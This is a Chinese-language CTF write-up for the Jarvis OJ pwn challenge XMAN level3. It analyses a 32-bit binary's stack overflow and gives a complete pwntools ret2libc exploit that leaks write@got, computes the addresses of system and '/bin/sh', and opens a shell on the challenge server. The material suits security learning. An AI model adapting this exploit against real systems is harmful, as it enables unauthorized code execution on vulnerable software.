在 Jarvis OJ 平台上发现的一个 pwn 题目系列:XMAN。
本篇介绍 XMAN level3.
题目可以在 Jarvis OJ 平台上找的,这里不再提供下载。
首先使用 file
命令查看文件
file ./level3
./level3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=44a438e03b4d2c1abead90f748a4b5500b7a04c7, not stripped
程序是32位 ELF 文件
使用 checksec
查看文件保护机制 (gdb peda插件)
gdb ./level3
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
程序启用了 NX (栈不可执行)
用 IDA 分析程序,发现一个函数明显存在缓冲区溢出漏洞
ssize_t vulnerable_function()
{
char buf; // [sp+0h] [bp-88h]@1
write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
}
程序并开启了 NX 保护机制,因此栈中的代码不可执行。而且程序没有使用 system
函数。我们要做的就是找到 system
函数的地址。
由于 system
函数在 libc.so
中,而且题目给出了程序使用的 libc.so
,因此我们可以找到 system
函数的偏移。我们只要找到 libc.so
中一个函数的地址,就可以通过偏移计算出 system
函数的地址。程序中使用了 read
和 write
函数,可以利用延迟绑定原理,使用 write
函数输出 write@got
地址,再通过偏移计算出 system
函数的地址。
要注意的是,在本地测试时程序使用的 libc.so
并非题目提供的,可以使用 ldd
工具查看程序使用的 libc.so
ldd level3
linux-gate.so.1 => (0xf77ab000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75d8000)
/lib/ld-linux.so.2 (0x56576000)
使用 pwntools 编写 exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
from pwn import *
def main(local=False):
if local:
context.log_level = 'debug'
io = process('./level3')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
context.log_level = 'info'
io = remote('pwn2.jarvisoj.com', 9879)
libc = ELF('./libc-2.19.so')
elf = ELF('./level3')
# offset in libc.so
system_offset = libc.symbols['system']
write_offset = libc.symbols['write']
binsh_offset = libc.search('/bin/sh').next()
# symbol in level3
vulnerable_function_addr = elf.symbols['vulnerable_function']
write_plt = elf.plt['write']
write_got = elf.got['write']
# write(1, write_plt, 4)
payload = 'A' * 140
payload += p32(write_plt)
payload += p32(vulnerable_function_addr)
payload += p32(1)
payload += p32(write_got)
payload += p32(4)
io.recvuntil('Input:\n')
io.sendline(payload)
write_addr = u32(io.recv(4))
system_addr = write_addr + system_offset - write_offset
binsh_addr = write_addr + binsh_offset - write_offset
# system('/bin/sh')
payload = 'A' * 140
payload += p32(system_addr)
payload += p32(vulnerable_function_addr)
payload += p32(binsh_addr)
io.recvuntil('Input:\n')
io.sendline(payload)
io.interactive()
if __name__ == '__main__':
if len(sys.argv) >= 2 and sys.argv[1] == 'local':
main(True)
else:
main()